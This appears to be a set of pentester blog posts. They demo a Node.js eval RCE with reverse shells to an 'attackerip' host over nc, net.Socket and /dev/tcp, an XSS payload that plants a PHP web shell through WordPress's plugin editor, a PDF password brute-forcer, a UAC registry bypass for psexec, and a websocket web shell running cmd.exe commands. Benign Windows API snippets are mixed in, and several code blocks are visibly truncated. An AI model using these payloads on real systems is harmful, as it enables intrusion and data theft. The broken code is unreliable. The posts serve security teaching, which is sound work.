Nodejs RCE and a simple reverse shell

While reading through the blog post on a RCE on by @artsploit, I started to wonder what would be the simplest nodejs app that I could use to demo a RCE. Looking at the hello world tutorials online, I came up with the following simple app that takes a user input via the URL as a GET parameter and passes it to eval, which is obviously a bad programming practice.

Obviously, the functionality of this app is questionable, but in the real world Node applications will use eval to leverage JavaScript’s eval but with sandboxing amongst other things.

var express = require('express');
var app = express();
app.get('/', function (req, res) {
res.send('Hello ' + eval(req.query.q));
app.listen(8080, function () {
console.log('Example app listening on port 8080!');

To access the app, navigate to http://hostip:8080/?q='Test'.

The exploit can be triggered using the q parameter. Node provides the child_process module and the eval can be used to execute the exploit. A quick demo can consist of the following steps:

1. Run nc -lvp 80 on a server you control and whose port 80 is reachable from the server running the Node app.
2. Navigate to


This will send the contents of /etc/passwd to the attacker’s nc instance. If the Node server has the traditional nc installed (instead of the openbsd alternative) you can even use -e /bin/bash to return a proper shell from the Node server.


But as the case is with default installations the netcat that attacker’s love may not always be present on vulnerable machines. In such cases, the net module can be used to redirect the stdin, stdout and stderr streams to and from the attacker’s machine. The exploit code in such a case would be:

var net = require("net"), sh = require("child_process").exec("/bin/bash");
var client = new net.Socket();
client.connect(80, "attackerip", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);

To execute this, use the following steps:
1. Run nc -lvp 80 on a server you control and whose port 80 is reachable from the server running the Node app. Again, this would act as your shell listener/collector.
2. Navigate to



You can then use /bin/bash -i or python -c 'import pty; pty.spawn("/bin/bash")' to get a proper TTY shell (See more techniques here.).

I created a docker image with Node and the app installed so that this is easier to test and play with. You can setup this PoC using the following steps:

1. Install docker on your host machine. This is the standard reference – 
2. Once docker is setup, run the following command:
docker run -p 8080:8080 -d appsecco/node-simple-rce
3. Navigate to the Node app by going to: http://localhost:8080/?q=’Test’

Update: A simpler reverse shell is:

require("child_process").exec('bash -c "bash -i >%26 /dev/tcp/ 0>%261"')

According to

For backwards compatibility with child_process.exec, it is also possible to pass a string to exec. The string will automatically be converted to [‘/bin/sh’, ‘-c’, ‘{string}’], which will cause the string to be parsed on the shell.

Since /bin/sh has some trouble dealing with multiple file descriptors, we can simply ask /bin/sh to spawn a new /bin/bash and use the new /bin/bash to execute our standard reverse shellcode. Whew!

The code is available on Github if you want to test this locally.

Feel free to make any changes to the code and redistribute! Happy Hacking!


XSS to RCE – using WordPress as an example

Cross Site Scripting (XSS) is a type of client side vulnerability that arises when an application accepts user supplied input and makes it a part of the page without sanitizing it for malicious content. An attacker can supply JavaScript as input that eventually becomes a part of the page and executes in the browser of the user viewing the page. You can read more about the different types of XSS vulnerabilities at the OWASP wiki.
Most vulnerability assessments report XSS issues with the impact limited to stealing session cookies and hijacking accounts. In reality, a well executed XSS attack can cause a lot more harm than merely overtaking an account. Of course it depends on what other vulnerabilities are present in the application in the post login pages. Also, depending on the privileges of the user whose session was hijacked, added functionality may be available ready for abuse.

There have been several well documented cases of a XSS leading to larger more impactful attacks. Here are some examples:

  1. XSS worm by Samy: –
  2. Apache network compromise starting with a XSS in Atlassian JIRA: –
  3. XSS to RCE in Node via –
In a standard XSS attack, a penetration tester would usually take the following steps:

  1. Find a XSS vulnerability
  2. Host a collecting server to capture session cookies that will be delivered by your XSS payload
  3. Send the URL with the XSS payload to a user via email (Reflected XSS) OR
    Store the XSS payload and wait for a user (or social engineer them to visit if you lack patience) to visit the vulnerable page.
  4. Replay the session cookies to the application and gain access to the victim’s account.
  5. Explore the application for data/other vulnerabilities.
In the event that an application has functionality that allows a user to upload executable code (php pages for example) or edit existing server side code, then you can choose to attack that functionality directly with a XSS payload. Akash Mahajan, my friend and partner at Appsecco, pointed out a tweet by @brutelogic which, in my opinion, is a fantastic JavaScript XSS payload to use the plugin-editor of WordPress to update an existing PHP page with shellcode. So I setup a local WP with a plugin that was vulnerable to XSS and used the following JS payload as mentioned in the tweet.
x=new XMLHttpRequest()
$='_wpnonce='+/ce" value="([^"]*?)"/.exec(x.responseText)[1]+'&newcontent=<?=`$_GET[brute]`;&action=update&'+f'POST',p+f,1)
Here’s what the payload does:

  1. Creates a new XMLHttpRequest() object x
  2. p and f hold the complete URL to load
  3. The file that will be updated is akismet/index.php
  4.'GET',p+f,0) and x.send() are used to specify the type of request and to send the actual request respectively.
  5. The $ contains the POST data that will be sent.
  6. For every POST request in WordPress you need the _wpnonce token. The /ce" value="([^"]*?)"/.exec(x.responseText)[1] extracts the token from the previous response using a regular expression.
  7. The php shell code is <?=`$_GET[brute]
  8. A new POST request is created and sent to the server along with appropriate form submit headers.

If an admin navigates to /wp-admin/plugin-editor.php?file=akismet/index.php, this is what he will see:

To access the shell, navigate to /wp-content/plugins/akismet/index.php?brute=ls -a. You can now interact and execute operating system commands with the WordPress server using the brute parameter. To make the output more readable simply use the view-source option of the page.

Command execution via php shell

This attack will obviously not work if the plugin editor is disabled which can be done by placing define('DISALLOW_FILE_EDIT', true); in the wp-config.php file. You can read more WordPress hardening tips at: (shouts to @anantshri).

Happy Hacking!

PDF password cracking using Python

There are several occasions when I don’t remember passwords to the PDF documents that are sent by banking services (banking statements) and telephone operators (mobile bills). Most of these documents, as you are aware, are password protected by complicated looking yet easy to guess passwords. For example, one of the password formats could be: your 8 digit customer ID ending with 45 concatenated with your date of birth in DDMMYYYY format. If your customer ID for this particular service was 12345645 and your date of birth was 18th August 1990, your password would be 1234564518081990. You get the drift right?

In any case, this is a complex looking long number but because you know how it is constructed, we can create a simple brute force script that uses the information available to us and attempts to decrypt a supplied PDF file.

The following non-elegant python script uses the pyPDF python library to attempt decryption on a PDF file with a password that is created on the fly using a logic that we already know. This script can be easily modified for different password generation algorithms. The following code in particular can be used to brute force passwords of the PDF mobile bills of one of the largest mobile operators in India. The format is the combination of the first 4 characters of your email in lowercase and a random 4 digit number (RIYA1267).

Note that this script was tested on a PDF encrypted with 128 bit RC4 (most credit card statements) with 100% success. A wider implementation would be to loop something like qpdf with the passwords being generated using its --pasword='<password>' and --decrypt option.

Anyways, here’s the simplified version with pyPDF:

import sys
from pyPdf import PdfFileReader

helpmsg = "Simple PDF brute force script\n"
helpmsg += "Cracks pwds of the format <first 4 chars of email>0000-9999."
helpmsg += "Example: snow0653\n\n"
helpmsg += "Usage: <encrypted_pdf_file> <email_address>"
if len(sys.argv) < 2:
        print helpmsg
pdffile = PdfFileReader(file(sys.argv[1], "rb"))
if pdffile.isEncrypted == False:
        print "[!] The file is not protected with any password. Exiting."

print "[+] Attempting to Brute force. This could take some time..."

z = ""
for i in range(0,9999):
        z = str (i)
        while (len(z) < 4):
                z = "0" + z
        a = str(sys.argv[2][:4] + str(z))
        if pdffile.decrypt(a) > 0:
                print "[+] Password is: " + a
                print "[...] Exiting.."

Feel free to modify this code and share/redistribute!

Happy Hacking!

psexec using a local admin account to a UAC enabled system

To protect users across the network, Windows UAC imposes token restrictions on local administrators logging in via the network (using the net use \\computer\\c$ share for example). This means that a local administrator will not be able to perform administrative tasks and will not have the ability to elevate to full admin rights.

This works well if you are securing systems. However, during a pentest, hash/password reuse via psexec for example, will fail. Simply because connecting to the C$ admin share to run the psexec service will fail. My friend and systems hacker Anant Shrivastava pointed this out during some testing that he was doing, prompting me to blog about this.

I setup a Windows 7 machine with UAC enabled, an administrative account called “testadmin” with password “testadmin” and used the exploit/windows/smb/psexec exploit module from metasploit to test this in my lab environment and saw the following error:

Microsoft recommends a registry edit to disable UAC remote restrictions. To make this change, follow these steps:

  1. Open the registry editor using the regedit command via Start > Run
  2. Navigate to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
  3. In the right pane, if the LocalAccountTokenFilterPolicy DWORD value doesn’t exist, create it.
  4. Set its value to 1

The changes take effect immediately. I tried the Metasploit exploit again and voila it worked this time:

This registry change allows Sysinternals Psexec utility to function as well apart from other utilities that require a privileged token on the C$ share (or any other admin share).

Happy Hacking!

Get username from PID in VB.NET

As part of a larger program that I’m writing to work with Windows processes, threads and window objects, I wrote a function that allows you to get the username of the user who owns a given process. As simple as it sounds, there is no straightforward way of obtaining the username given the process id in Windows. You could use a WMI query to get the username from a PID but that is painfully slow especially if you plan on doing enumeration for all the processes running on your system. The faster way is to use the Win32 API.  The primary APIs that are needed to achieve this are:

The flow would be as follows:

  1. Using OpenProcess with the PROCESS_QUERY_INFORMATION access right, you can open a handle to a process. This will fail if you do not have the necessary access levels. For example, a limited user using querying a process owned by NT Authority\System.
  2. Once you have the handle, you can call OpenProcessToken requesting the TOKEN_QUERY access right. This function returns a pointer to a handle that identifies the newly opened access token.
  3. Once you have obtained the handle to the access token, calling GetTokenInformation with the access token handle returns the length of the buffer for the TokenInformation parameter when a null TokenInformation value is passed.
  4. The GetTokenInformation function has to be called again with the length of the buffer obtained from the previous call along with a pointer to the buffer that will be populated via the TokenInformation parameter. The TokenInformation structure can then be cast to a structure that is defined as TOKEN_USER that contains a structure called SID_AND_ATTRIBUTES that defines the SID that represents the user associated with the access token that was passed to GetTokenInformation.
  5. Once the TokenUser variable is populated, we can use the ConvertSidToStringSid function which takes in a SID structure and provides a readable SID value.
  6. This SID value can then be passed to Principal.SecurityIdentifier to be translated to a username using the Principal.NTAccount type.

Here’s the code in VB.NET.

Imports System.Runtime.InteropServices
Imports System.Security
Imports System.ComponentModel

Module ProcessFunctions
 <DllImport("kernel32.dll")> _
 Public Function OpenProcess(processAccess As ProcessAccessFlags, bInheritHandle As Boolean, processId As Integer) As Integer
 End Function

 <DllImport("advapi32.dll", SetLastError:=True)> _
 Public Function OpenProcessToken(ByVal ProcessHandle As IntPtr, ByVal DesiredAccess As Integer, ByRef TokenHandle As IntPtr) As Boolean
 End Function

 <DllImport("advapi32.dll", SetLastError:=True)> _
 Public Function GetTokenInformation(ByVal TokenHandle As IntPtr, ByVal TokenInformationClass As TOKEN_INFORMATION_CLASS, _
 ByVal TokenInformation As IntPtr, ByVal TokenInformationLength As System.UInt32, ByRef ReturnLength As System.UInt32) As Boolean
 End Function

 <DllImport("advapi32.dll", SetLastError:=True)> _
 Public Function ConvertSidToStringSid(ByVal psid As IntPtr, ByRef pStringSid As String) As Boolean
 End Function

 <DllImport("kernel32.dll", SetLastError:=True)> _
 Public Function GetExitCodeProcess(ByVal hProcess As IntPtr, ByRef lpExitCode As System.UInt32) As Boolean
 End Function

 Public Structure SID_AND_ATTRIBUTES
   Public Sid As IntPtr
   Public Attributes As Int32
 End Structure

 Public Structure TOKEN_USER
 End Structure

 Enum ProcessAccessFlags
   All = &H1F0FFF
   Terminate = &H1
   CreateThread = &H2
   VirtualMemoryOperation = &H8
   VirtualMemoryRead = &H10
   VirtualMemoryWrite = &H20
   DuplicateHandle = &H40
   CreateProcess = &H80
   SetQuota = &H100
   SetInformation = &H200
   QueryInformation = &H400
   QueryLimitedInformation = &H1000
   Synchronize = &H100000
 End Enum

   TokenUser = 1
 End Enum

Public Function GetUsernameFromProcessID(pid As Long) As String
  Dim phnd As Integer = OpenProcess(ProcessAccessFlags.QueryInformation, False, pid)
  If phnd <> 0 Then
    Dim Thnd As Integer
    OpenProcessToken(phnd, Principal.TokenAccessLevels.Query, Thnd)
    Dim TokenUser As TOKEN_USER
    Dim TokenInfLength As Integer = 0
    Dim sUserSid As String = ""
    Dim TokenInformation As IntPtr

    GetTokenInformation(Thnd, TOKEN_INFORMATION_CLASS.TokenUser, IntPtr.Zero, 0, TokenInfLength)
    TokenInformation = Marshal.AllocHGlobal(TokenInfLength)
    GetTokenInformation(Thnd, TOKEN_INFORMATION_CLASS.TokenUser, TokenInformation, TokenInfLength, TokenInfLength)

    TokenUser = DirectCast(Marshal.PtrToStructure(TokenInformation, TokenUser.GetType), TOKEN_USER)

    ConvertSidToStringSid(TokenUser.User.Sid, sUserSid)

    Dim username As String = New Principal.SecurityIdentifier(sUserSid).Translate(GetType(Principal.NTAccount)).ToString()
    Return username
 Else : Return "<access denied>"
 End If
End Function
End Module
Add this code as part of your project in a module and access the function using GetUsernameFromProcessID(pid) which will return the username if you have access to the process and “<access denied>” if you don’t.
Happy Hacking!

Volume Mute and SendMessage() Fun

As the owner of the @wincmdfu twitter account, I try and find alternate ways of doing stuff in Windows. I normally have a bunch of batch files, VB script files and powershell cmdlets in a custom folder in %PATH% that I call when required. While listening to some music the other day, I realized there is no shortcut that I know (or have discovered yet) that allows me to mute the Audio on my system. I have a hardware key on the keyboard that mutes the volume, but no command to do this (remotely for example – which is cooler).

Enter the Windows SendMessage API. This is a fantastic API that Windows uses to send messages to windows given the handle of the target window. This window could be in a different process as well. The SendMessage function calls the window procedure for the specified window and does not return until the window procedure has processed the message.

I will be writing about additional fun stuff you can do with the SendMessage API, but for now coming back to my problem statement. SendMessage can be used to send the WM_APPCOMMAND with the APPCOMMAND_VOLUME_MUTE parameter to the current window handle to toggle mute. This can programmatically be put into a Form/console application and run from command line. Here’s my VB.NET code:

Public Class Form1

    <Runtime.InteropServices.DllImport("user32.dll")> _
    Public Shared Function SendMessageW(ByVal hWnd As IntPtr, ByVal Msg As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As IntPtr
    End Function

    Private Const APPCOMMAND_VOLUME_MUTE As Integer = &H80000
    Private Const WM_APPCOMMAND As Integer = &H319

    Private Sub Main_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        SendMessageW(Me.Handle, WM_APPCOMMAND, Me.Handle, APPCOMMAND_VOLUME_MUTE)
    End Sub
End Class
Compile this into an executable called mute.exe, store it in %PATH% and you are done!
Happy Hacking!

Simple websockets based webshell

I’m writing again after a year! It’s been an eventful one at that. Multiple conferences and two successful Xtreme Web Hacking trainings in that period.

As part of the XWH training that Akash and I did at nullcon 2015, I built an app to demo the functionality and usage of websockets. I went overboard and converted it into a full fledged web shell.

Websocket Client

The client is a simple connect and send call to a websockets server:

function WebSocketShell()
if ("WebSocket" in window)
var server = "serverip_or_hostname:9998/server"
var ws = new WebSocket("ws://" + server);

ws.onopen = function()

ws.onmessage = function (evt)
var received_msg =;

ws.onclose = function(a)
alert('Error here');
alert("WebSocket NOT supported by your Browser!");

Websocket Server

The websockets server is a pywebsocket instance. The server side code is a python script that handles the incoming connection and the text.
The text is then passed to a subprocess.Popen call to be executed on the server. The output is collected and sent back to the client via the websocket.

def web_socket_transfer_data(request):
 while True:
  line = request.ws_stream.receive_message()
  if line is None:
  if isinstance(line, unicode):
   proc = subprocess.Popen('cmd.exe /c ' + line, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
   out = +
   request.ws_stream.send_message(out, binary=False)
   request.ws_stream.send_message('Send plain text only!', binary=True)

Get it!

The code is available on Github: You can get it here


To run the server on port 9998 (default in the code, can be changed):

  1. Get pywebsocket
  2. Run python pywebsocket\mod_pywebsocket\ -p 9998 -w ws_server
  3. Open index.html in any browser that supports websockets. Latest Chrome/Firefox is good enough.
  4. Enter a (Windows) command like ipconfig
  5. Hit the Execute! button.
  6. Potato.
Happy Hacking!